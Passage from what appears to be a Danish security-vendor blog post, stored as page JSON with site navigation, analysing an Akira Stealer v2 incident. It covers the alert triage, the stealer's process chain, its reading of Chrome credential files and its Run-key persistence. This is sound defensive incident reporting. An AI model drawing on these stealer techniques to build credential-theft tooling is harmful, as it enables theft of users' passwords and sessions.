[{"data":1,"prerenderedAt":13647},["ShallowReactive",2],{"sc:header-data-da":3,"sc:footer-data-da":489,"post-da--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13063,"content-da-list-7b291c2dd91a4":13416,"authors_data:Pascal Asch":13644},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"da":13},{"title":14,"url":15,"alt":16},"Forside","/da","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"da":21},{"title":22,"description":23},"Workplace","Intelligente, sikre og fleksible arbejdspladser bygget på Microsoft 365, der forener moderne teknologier og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"da":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"da":34},{"title":35,"url":36},"Managed Intune","/da/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"da":40},{"title":41,"url":42},"Managed Entra","/da/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"da":46},{"title":47,"url":48},"Managed Workplace","/da/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"da":52},{"title":53,"url":54},"Consulting Services","/da/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"da":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"da":64},{"title":65,"url":66},"Microsoft Entra Suite","/da/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"da":70},{"title":71,"url":72},"Microsoft Intune","/da/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"da":76},{"title":77,"url":78},"Microsoft Windows","/da/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"da":82},{"title":83,"url":84},"Windows 365 Cloud PC","/da/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"da":88},{"title":89,"url":90},"Cloud Workplace Foundation","/da/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"da":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"da":100},{"title":101,"url":102},"Microsoft 365 Copilot","/da/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"da":106},{"title":107,"url":108},"Teams","/da/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"da":112},{"title":113,"url":114},"SharePoint & Power Platform","/da/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"da":118},{"title":119,"url":120},"Exchange Online","/da/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"da":124},{"title":125,"url":126},"Information Protection & Compliance","/da/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"da":130},{"title":131,"description":132},"Azure","Sæt gang i væksten med Azure: skær ned på cloudomkostningerne, øg effektiviteten og driv innovationen med IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"da":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"da":142},{"title":143,"url":144},"Azure Managed Services","/da/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"da":148},{"title":149,"url":150},"Azure Consulting","/da/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"da":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"da":160},{"title":161,"url":162},"Planlæg din cloud","/da/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"da":166},{"title":167,"url":168},"Migrér til cloud","/da/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"da":172},{"title":173,"url":174},"Forny din forretning","/da/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"da":178},{"title":179,"url":180},"Gentænk din VMware-strategi","/da/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"da":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"da":190},{"title":191,"url":192},"Azure Foundation","/da/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"da":196},{"title":197,"url":198},"Azure AI Foundation","/da/azure/azure-ai-foundation",{"name":86,"languages":200},{"da":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"da":205},{"title":206,"url":207},"Azure Data Foundation","/da/azure/azure-data-foundation",{"name":188,"languages":209},{"da":210},{"title":211,"url":212},"Azure Container Foundation","/da/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"da":216},{"title":217,"url":218},"Managed Dark Tenant","/da/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"da":222},{"title":223,"url":224},"Cloud Adoption Framework","/da/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"da":228},{"title":229,"url":230},"Cloud Competence Center","/da/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"da":234},{"title":235,"description":236,"emergency":237},"Sikkerhed","Årvågenhed i clouden med en prisbelønnet 24/7 managed service, incident response og tidssvarende beskyttelse af din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Under angreb?","/da/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"da":249},{"title":250,"url":251},"Managed Red Tenant","/da/security/managed-red-tenant",{"name":214,"languages":253},{"da":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"da":259},{"title":260,"url":261},"Sentinel Data Lake","/da/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"da":265},{"title":266,"url":267},"Security Consulting","/da/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"da":274},{"title":275,"url":276},"Cloud Security Operations Center","/da/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"da":280},{"title":281,"url":282},"Global Secure Access","/da/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"da":286},{"title":287,"url":288},"MyWorkID","/da/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"da":295},{"title":296,"url":297},"Preventive Services","/da/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"da":301},{"title":302,"url":303},"Data Security Service","/da/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"da":307},{"title":308,"url":309},"Security Copilot Agents","/da/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"da":313},{"title":314,"url":315},"Implementering af NIS2","/da/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"da":319},{"title":320,"description":321},"Produkter","Companion-produkter til et gennemført sikkert, 100 % cloud-native Microsoft-miljø, der styrker samarbejdet, netværksautentificeringen og softwarehåndteringen.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"da":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloudbaseret softwaredistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"da":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution fra clouden",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"da":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbejd med dine lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"da":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrér dine data fra én server til en anden",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"da":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider til Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"da":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentificering til dit netværk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"da":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Find kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"da":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvågning i realtid",{"name":396,"languages":397},"casestudies",{"da":398},{"title":399,"url":400,"description":401},"Cases","/da/casestudies","Pioner i clouden: din Microsoft-partner til gennemarbejdede cloudløsninger med en blueprint-baseret tilgang og ekspertise i Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"da":405},{"title":406,"description":401},"Virksomhed",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"da":411},{"title":412},"Om os",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"da":417},{"title":418,"url":419},"Fakta og tal","/da/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"da":423},{"title":424,"url":425},"Kontakt og lokationer","/da/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"da":429},{"title":430,"url":431},"glueckkanja Schweiz","/da/company/switzerland",{"name":433,"languages":434},"austria",{"da":435},{"title":436,"url":437},"glueckkanja Østrig","/da/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"da":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"da":447},{"title":448,"url":449},"Karriereoversigt","/da/career",{"name":451,"languages":452},"company-young-professionals",{"da":453},{"title":454,"url":455},"Young Professionals","/da/young-professionals",{"name":457,"languages":458},"company-jobs",{"da":459},{"title":460,"url":461},"Ledige stillinger","/da/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"da":465},{"title":466},"Aktuelt",[468,474],{"name":469,"languages":470},"company-blog",{"da":471},{"title":472,"url":473},"Blog","/da/blog",{"name":469,"languages":475},{"da":476},{"title":477,"url":478},"Events","/da/events",[480],{"name":481,"languages":482},"career-meta",{"da":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"da":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksDa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privatlivspolitik","/da/privacy",{"title":514,"url":515},"Juridisk information","/da/imprint",{"title":517,"url":518},"Ingen cookies","/da/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":535,"eventid":494,"extension":12935,"hideInRecent":484,"layout":12936,"meta":12937,"moment":12941,"navigation":325,"path":13054,"seo":13055,"stem":13056,"tags":13057,"webcast":484,"__hash__":13062},"content_da/posts/2025-06-16-quiet-breach.md","Inde i Akira Stealer: En komplet teknisk analyse af en modulær stealer",[523],"Pascal Asch",{"type":525,"value":526,"toc":12790},"minimal",[527,532,536,544,547,566,569,587,597,600,603,627,635,646,653,656,659,674,681,684,687,701,705,707,713,718,721,724,736,745,752,755,761,764,768,770,775,781,784,788,790,793,819,825,831,835,837,840,844,846,849,851,857,860,865,868,878,881,884,904,907,914,921,923,929,932,938,941,976,979,988,994,1003,1006,1017,1020,1027,1029,1038,1048,1080,1086,1091,1113,1119,1122,1125,1131,1139,1146,1148,1151,1163,1166,1200,1206,1233,1242,1245,1250,1259,1261,1270,1276,1293,1296,1301,1335,1339,1342,1345,1351,1365,1371,1377,1379,1384,1388,1390,1470,1473,1477,1479,1484,1490,1495,1504,1509,1514,1525,1528,1533,1542,1548,1551,1555,1557,1568,1573,1595,1601,1610,1621,1628,1634,1638,1640,1646,1672,1675,1689,1692,1701,1704,1708,1710,1718,1721,1724,1737,1747,1754,1775,1778,1784,1788,1790,1793,1802,1814,1839,1845,1851,1854,1861,1864,1877,1884,1886,1893,1897,1899,1905,2003,2010,2017,2019,2022,2045,2048,2078,2081,2123,2126,2135,2138,2155,2161,2164,2173,2176,2189,2196,2200,2202,2208,2230,2237,2271,2274,2289,2296,2301,2312,2315,2319,2321,2324,2339,2346,2357,2368,2405,2412,2415,2419,2421,2427,2432,2472,2475,2490,2493,2502,2508,2511,2515,2517,2520,2529,2532,2579,2586,2590,2592,2598,2603,2632,2639,2641,2657,2661,2663,2666,2705,2711,2717,2721,2723,2742,2753,2760,2797,2804,2850,2858,2862,2864,2867,2895,2905,2912,2914,2919,2923,2925,2931,2935,2937,2944,2970,2977,3237,3240,3245,3248,3281,3286,3290,3292,3295,3299,3301,3304,3406,3409,3413,3415,3418,3581,3584,3607,3611,3613,3622,3867,3870,3899,3903,3905,3938,3941,3944,3974,3978,3980,3986,3991,3994,4012,4015,4023,4028,4031,4111,4119,4122,4128,4136,4140,4142,4148,4153,4156,4173,4180,4185,4192,4254,4268,4273,4279,4306,4309,4347,4350,4355,4358,4372,4376,4378,4383,4403,4410,4416,4418,4422,4424,4430,4434,4436,4440,4442,4447,4474,4480,4484,4486,4492,4509,4533,4540,4544,4546,4549,4558,4572,4575,4579,4581,4594,4597,4606,4612,4619,4621,4625,4627,4637,4641,4643,4649,4663,4678,4682,4684,4764,4767,4774,4776,4781,4839,4846,4970,4973,5118,5122,5124,5127,5181,5184,5188,5190,5197,5250,5253,5257,5259,5262,5314,5317,5321,5323,5330,5382,5385,5389,5391,5398,5439,5442,5446,5448,5455,5537,5540,5544,5546,5549,5596,5599,5604,5607,5610,5614,5616,5621,5627,5632,5638,5643,5649,5654,5660,5665,6066,6070,6072,6113,6117,6119,6127,6131,6133,6143,6148,6173,6194,6199,6285,6289,6291,6384,6387,6393,6400,6402,6405,6460,6515,6522,6524,6527,6562,6597,6604,6606,6609,6642,6676,6683,6685,6688,6757,6802,6809,6811,6814,6842,6872,6879,6881,6884,6912,6934,6944,6946,6949,6974,7011,7015,7017,7050,7054,7056,7059,7062,7065,7068,7071,7076,7101,7106,7136,7142,7151,7173,7382,7386,7388,7395,7493,7496,7500,7502,7509,7602,7612,7618,7621,7626,7632,7660,7665,7695,7749,7768,7771,7776,7825,7829,7831,7834,7838,7840,7846,7966,7986,7990,7992,7997,8071,8092,8096,8098,8101,8104,8107,8110,8209,8217,8221,8223,8228,8263,8285,8289,8291,8294,8297,8305,8308,8396,8410,8414,8416,8419,8422,8515,8521,8523,8528,8532,8534,8537,8602,8619,8622,8656,8659,8663,8665,8670,8684,8729,8755,8760,8772,8848,8903,8907,8909,8912,8918,8959,8969,8975,8985,8989,8991,8994,9023,9049,9055,9059,9061,9068,9075,9077,9082,9137,9165,9169,9171,9174,9239,9246,9285,9289,9291,9297,9312,9315,9350,9354,9356,9363,9407,9421,9427,9434,9436,9439,9443,9445,9448,9482,9485,9510,9514,9516,9521,9524,9548,9572,9576,9578,9581,9605,9609,9611,9614,9634,9638,9640,9643,9650,9763,9768,9813,9817,9819,9826,9860,9915,9920,9923,9927,9929,9932,9936,9938,9941,9947,9951,9953,9956,10011,10026,10030,10032,10043,10112,10121,10126,10129,10173,10175,10179,10181,10184,10273,10278,10407,10411,10413,10416,10421,10494,10512,10517,10537,10545,10550,10556,10571,10588,10594,10652,10672,10677,10694,10699,10743,10757,10760,10764,10766,10771,10775,10777,10784,10791,10795,10797,10908,10915,10919,10921,10927,10932,11014,11021,11028,11032,11034,11037,11066,11073,11077,11079,11083,11085,11092,11095,11098,11101,11246,11249,11253,11255,11258,11262,11264,11267,11302,11308,11312,11314,11317,11343,11346,11352,11356,11358,11363,11380,11386,11390,11392,11396,11398,11414,11437,11444,11460,11479,11482,11485,11487,11498,11502,11504,11938,11941,11945,11947,11953,11956,11959,11965,11968,11979,11985,11988,11993,11997,11999,12002,12007,12021,12025,12027,12323,12326,12330,12332,12444,12447,12451,12453,12507,12510,12514,12516,12680,12683,12687,12689,12730,12733,12737,12739,12742,12745,12748,12751,12754,12757,12762,12766,12768,12771,12774,12777,12780,12783,12786],[528,529,531],"h1",{"id":530},"prolog","Prolog",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538,539,543],{},"Det begyndte, som så mange moderne angreb gør: stille og roligt. En Defender-alarm med lav konfidens, ",[540,541,542],"strong",{},"\"Suspicious sequence of exploration activities\"",", dukkede op under onboardingfasen for en ny kunde i vores glueckkanja Cyber Security Operations Center (CSOC).",[533,545,546],{},"Der var ingen signaturhits. Ingen malwareklassificering. Ingen reaktion fra realtidsbeskyttelsen. Bare en enkelt adfærdskorrelation i Microsoft 365 Defender, begravet i støjen, og alligevel umiskendeligt forkert.",[533,548,549,550,554,555,558,559,562,563],{},"Under triagen af alarmen var der én bestemt handling, der fangede min opmærksomhed: ",[551,552,553],"code",{},"python.exe"," havde tilgået både filen ",[551,556,557],{},"Login Data"," og ",[551,560,561],{},"Web Data"," inde i en Chromium-profil. Microsoft Defender eskalerede det med det samme til en hændelse med høj alvorlighedsgrad, ",[540,564,565],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[533,567,568],{},"Det var ikke en falsk positiv. Det var toppen af noget dybere.",[533,570,571,572,575,576,579,580,583,584,586],{},"Da jeg sporede telemetrien baglæns, fandt jeg en generisk binærfil i startmappen, ",[551,573,574],{},"Updater.exe",", som startede en NodeJS-baseret wrapper (",[551,577,578],{},"main.exe","), der kørte en kommandolinje for at afvikle et script ved navn ",[551,581,582],{},"astor.py"," via ",[551,585,553],{},".",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[551,596,592],{"__ignoreMap":594},[533,598,599],{},"Scriptet skrabede ikke bare loginoplysninger, det udførte en række rekognosceringstrin efter kompromitteringen, heriblandt registry-forespørgsler, systemfingeraftryk og privilegiebevidst optælling. Det arbejdede med kirurgisk præcision og efterlignede systemets egen adfærd for at undgå detektion. Og det virkede, næsten.",[533,601,602],{},"På tidspunktet for den første indsats:",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[551,610,574],{}," blev flagget af blot ",[540,613,614],{},"1 ud af 69"," engines på VirusTotal.",[607,617,618,620,621,623],{},[551,619,578],{},", ",[551,622,582],{}," og alle tilhørende komponenter blev stort set ikke flagget på VirusTotal.",[607,625,626],{},"Ingen filer var signerede. Ingen forhøjet kontekst. Bare \"almindelige\" processer, der gjorde meget ualmindelige ting.",[533,628,629,631,632,634],{},[551,630,574],{}," rørte ikke loginoplysningerne. Den opgave var reserveret til ",[551,633,582],{},", den hukommelsesbaserede Python-payload, en fil der efter design næsten ikke efterlod spor.",[533,636,637,638,641,642,645],{},"Inden for ",[540,639,640],{},"21 minutter"," blev det berørte system isoleret fra netværket. Inden for ",[540,643,644],{},"70 minutter"," var loginoplysningerne roteret på tværs af alle berørte områder: interne identiteter, SaaS-platforme, tredjepartstjenester.",[533,647,648,649,652],{},"Men det egentlige vendepunkt kom, da vi udtrak og dekrypterede Python-payloaden fuldstændigt. Det, vi fandt, var ikke en generisk stealer, det var en skræddersyet udrulning af ",[540,650,651],{},"Akira Stealer v2",", en kommercielt distribueret malwarefamilie, der sælges via Telegram.",[533,654,655],{},"Takket være vores interne threat intelligence og reverse engineering-kompetencer kunne vi rekonstruere malwarens fulde funktionalitet, udtrække alle indlejrede indikatorer og forstå dens logik for staging, eksfiltrering og udvælgelse af loginoplysninger i detaljer.",[533,657,658],{},"Endnu vigtigere: vi stoppede ikke ved den tekniske attribuering. Vi gik videre.",[533,660,661,662,665,666,669,670,673],{},"Vi kunne give kunden et ",[540,663,664],{},"komplet datasæt over eksfiltrerede loginoplysninger",": over ",[540,667,668],{},"100 unikke kombinationer af brugernavn og adgangskode",", inklusive adgang til cloudtjenester, CRM-systemer, interne platforme og endda personlige værktøjer brugt af nøglemedarbejdere. Tyveriet havde stået på i ",[540,671,672],{},"måneder",", og vi kunne gøre rede for det hele.",[533,675,676,677,680],{},"Med indsigterne fra denne sag byggede vi et ",[540,678,679],{},"analyseværktøj til efterforløbet af en infektion",", som scanner berørte systemer, rekonstruerer mønstrene for adgang til loginoplysninger og genererer detaljerede forensiske rapporter, der kortlægger præcis hvad der blev stjålet, hvornår og hvorfra.",[533,682,683],{},"Vi giver et indblik i den scanner til sidst i denne rapport.",[533,685,686],{},"For det her er mere end bare en hændelse.\nSådan efterforsker vi. Sådan beskytter vi.",[533,688,689,697,700],{},[540,690,691,692,586],{},"Velkommen til ",[693,694,696],"a",{"href":695},"/da/security/cloud-security-operations-center/","glueckkanja CSOC",[698,699],"br",{},"\nSådan arbejder vi, for sikkerhedsbrud venter ikke.",[528,702,704],{"id":703},"_1-den-første-hændelse-og-triage-sammenfatning","1. Den første hændelse og triage-sammenfatning",[533,706,535],{},[533,708,709,710,712],{},"Den 31. marts 2025 genererede Microsoft Defender for Endpoint en alarm med betegnelsen ",[540,711,542],{}," på en 64-bit Windows 10-endpoint. Jeg indledte triagen ud fra dette signal og gennemgik det berørte system ved hjælp af procestræet, systemets tidslinje og de beviser, Defender havde korreleret.",[714,715,717],"h2",{"id":716},"_11-tidslinjebaseret-triage","1.1 Tidslinjebaseret triage",[533,719,720],{},"{: .h4-font-size}",[533,722,723],{},"Alarmen pegede på en række processer, der krævede nærmere inspektion. Under den første gennemgang observerede jeg følgende adgangsmønstre til Chrome-browserdata i den lokale brugerprofil:",[604,725,726,731],{},[607,727,728],{},[551,729,730],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,732,733],{},[551,734,735],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[533,737,738,739,741,742,744],{},"Disse adgange blev initieret af en proces ved navn ",[551,740,574],{},". Selvom Microsoft Defender ikke havde flagget binærfilen på baggrund af heuristisk eller adfærdsmæssig analyse, fandt jeg en detektion af ",[551,743,574],{}," på VirusTotal, flagget af en enkelt engine på det tidspunkt.",[533,746,747],{},[748,749],"img",{"alt":750,"src":751},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[533,753,754],{},"Hele den observerede eksekveringskæde så sådan ud:",[588,756,759],{"className":757,"code":758,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[551,760,758],{"__ignoreMap":594},[533,762,763],{},"På det tidspunkt var der ikke foretaget nogen dybere statisk eller dynamisk analyse af de involverede filer. Mit fokus lå på at forstå adfærden og konteksten på et overordnet niveau. Procesnavne og filstier var generiske, og der var ingen mistænkelige kommandolinjeargumenter ud over den kædede Python-eksekvering.",[714,765,767],{"id":766},"_12-den-første-indsats","1.2 Den første indsats",[533,769,720],{},[533,771,637,772,774],{},[540,773,640],{}," efter den første alarm igangsatte jeg isolering af hosten med isoleringsfunktionerne i Defender for Endpoint. Formålet var at forhindre yderligere spredning eller eksfiltrering.",[533,776,777,778,780],{},"Inden for de første ",[540,779,644],{}," gik vi videre med at rotere de loginoplysninger, vi vidste blev brugt på den berørte host, hvilket dækkede interne systemer, SaaS-platforme og kritiske tredjepartsleverandører.",[533,782,783],{},"Reverse engineering-arbejdet begyndte efter den første inddæmning. De følgende afsnit dokumenterer den tekniske fordybelse, der fulgte for at efterforske sikkerhedsbruddet.",[714,785,787],{"id":786},"_13-sammenfatning-af-indsatsen-hurtig-transparent-effektdrevet","1.3 Sammenfatning af indsatsen: hurtig, transparent, effektdrevet",[533,789,720],{},[533,791,792],{},"Vores indsats kombinerede hastighed, ekspertise og operationel styrke, understøttet af gennemprøvede arbejdsgange og fuld indsigt for kunden.",[604,794,795,801,807,813],{},[607,796,797,800],{},[540,798,799],{},"Fra detektion til fuld inddæmning på under 90 minutter","\nDefender-alarmer, netværksisolering, antivirusscanning og tilbagekaldelse af loginoplysninger blev udført hurtigt og koordineret.",[607,802,803,806],{},[540,804,805],{},"Dybdegående forensisk indsats inden for 48 timer","\nInklusive fuld disk- og hukommelsesanalyse, gennemgang af browserartefakter, detektion af credential dumping og adfærdsmæssig rekonstruktion af angriberens aktivitet.",[607,808,809,812],{},[540,810,811],{},"Sikker datagendannelse og bevishåndtering","\nDe stjålne data, herunder cookies, adgangskoder, tokens og browserprofiler, blev gendannet, arkiveret forensisk og overleveret sikkert til kunden.",[607,814,815,818],{},[540,816,817],{},"Indsigt og kommunikation hele vejen igennem","\nHvert skridt, fra første alarm til afhjælpning og debriefing, blev dokumenteret fuldt ud, delt i realtid og sammenfattet i en struktureret CSIRT-overdragelse.",[820,821,822],"blockquote",{},[533,823,824],{},"Denne hændelse viser, hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer dens virkninger, giver vores kunder kontrollen tilbage og forvandler enhver hændelse til indsigt.",[826,827],"div",{"className":828},[829,830],"space-top-1","space-bottom-1",[528,832,834],{"id":833},"_2-malwarens-arkitektur-og-eksekveringskæde","2. Malwarens arkitektur og eksekveringskæde",[533,836,535],{},[533,838,839],{},"Den malware, der blev observeret på den berørte endpoint, fulgte en struktureret arkitektur i flere trin med en klar ansvarsfordeling: udrulning, afkodning, eksekvering og dataeksfiltrering.",[714,841,843],{"id":842},"_21-overblik-over-eksekveringskæden","2.1 Overblik over eksekveringskæden",[533,845,720],{},[533,847,848],{},"Det observerede eksekveringsflow så sådan ud:",[533,850,574],{},[588,852,855],{"className":853,"code":854,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[551,856,854],{"__ignoreMap":594},[533,858,859],{},"Hver komponent i kæden bidrog til stealth, modularitet og omgåelse. Arkitekturen udnyttede legitime runtimes og operativsystemets standardfortolkere til at omgå detektionsmekanismerne.",[861,862,864],"h3",{"id":863},"_211-usikkert-ophav-den-manglende-initiale-vektor","2.1.1 Usikkert ophav: den manglende initiale vektor",[533,866,867],{},"{: .font-size-4}",[533,869,870,871,874,875,586],{},"Trods en omfattende analyse af miljøet efter kompromitteringen kunne den initiale adgangsvektor ikke fastslås med sikkerhed. Usikkerheden skyldes først og fremmest, at malwaren havde været aktiv i anslået ",[540,872,873],{},"seks måneder, før den blev opdaget",", hvilket overstiger den ",[540,876,877],{},"logopbevaringsperiode, Microsoft Defender for Endpoint håndhæver",[533,879,880],{},"Derfor var der ingen telemetri eller forensiske artefakter tilgængelige fra det oprindelige infektionstidspunkt. Hverken de oprindelige procesoprettelseshændelser, fildrops eller kommandolinjeposter fra leveringsfasen kunne genskabes fra Defenders tidslinje eller tilknyttede sensorer.",[533,882,883],{},"Ud fra kontekstuelle indikatorer og OSINT-kilder kan en sandsynlig infektionsvektor have involveret:",[604,885,886,892,898],{},[607,887,888,891],{},[540,889,890],{},"Trojaniserede installationsprogrammer"," til cracket eller moddet spilsoftware",[607,893,894,897],{},[540,895,896],{},"Falske værktøjer"," eller \"performance boosters\" distribueret via fora og tredjepartssider",[607,899,900,903],{},[540,901,902],{},"Ondsindede browserudvidelser"," rettet mod bestemte brugerinteresser (for eksempel kryptorelaterede værktøjer eller Discord-udvidelser)",[533,905,906],{},"Det forbliver dog spekulationer.",[533,908,909,910,913],{},"Der kunne ikke identificeres nogen bekræftet dropper, phishingmail eller kompromitteret hjemmeside under efterforskningen. Selvom malwarens arkitektur og eksekveringskæde blev rekonstrueret fuldstændigt, kunne det ",[540,911,912],{},"oprindelige kompromitteringspunkt (MITRE ATT&CK T1190 / T1566)"," ikke valideres.",[861,915,917,918,920],{"id":916},"_212-updaterexe-initial-loader","2.1.2 ",[551,919,574],{}," – initial loader",[533,922,867],{},[533,924,925,926,928],{},"Da jeg gennemgik procestræet i Microsoft 365 Defender, skilte ",[551,927,574],{}," sig ud med det samme, ikke på grund af hvad den gjorde, men på grund af hvor stille den havde indlejret sig i systemets eksekveringsflow.",[533,930,931],{},"Binærfilen var registreret til automatisk kørsel via Windows' standard Run-nøgle:",[588,933,936],{"className":934,"code":935,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[551,937,935],{"__ignoreMap":594},[533,939,940],{},"Det betød, at den ville starte, hver gang brugeren loggede ind i sin session, en klassisk persistensmekanisme, der ikke kræver forhøjede rettigheder og ofte glider ubemærket gennem EDR-telemetrien.",[604,942,943,949,955,961,967],{},[607,944,945,948],{},[540,946,947],{},"Filtype",": Windows PE-eksekverbar fil (32-bit)",[607,950,951,954],{},[540,952,953],{},"Signatur",": Usigneret",[607,956,957,960],{},[540,958,959],{},"VirusTotal-detektion",": 1 ud af 69 engines på triagetidspunktet",[607,962,963,966],{},[540,964,965],{},"Eksekveringskontekst",": Medium integritet, brugersession",[607,968,969,972,973],{},[540,970,971],{},"Placering",": 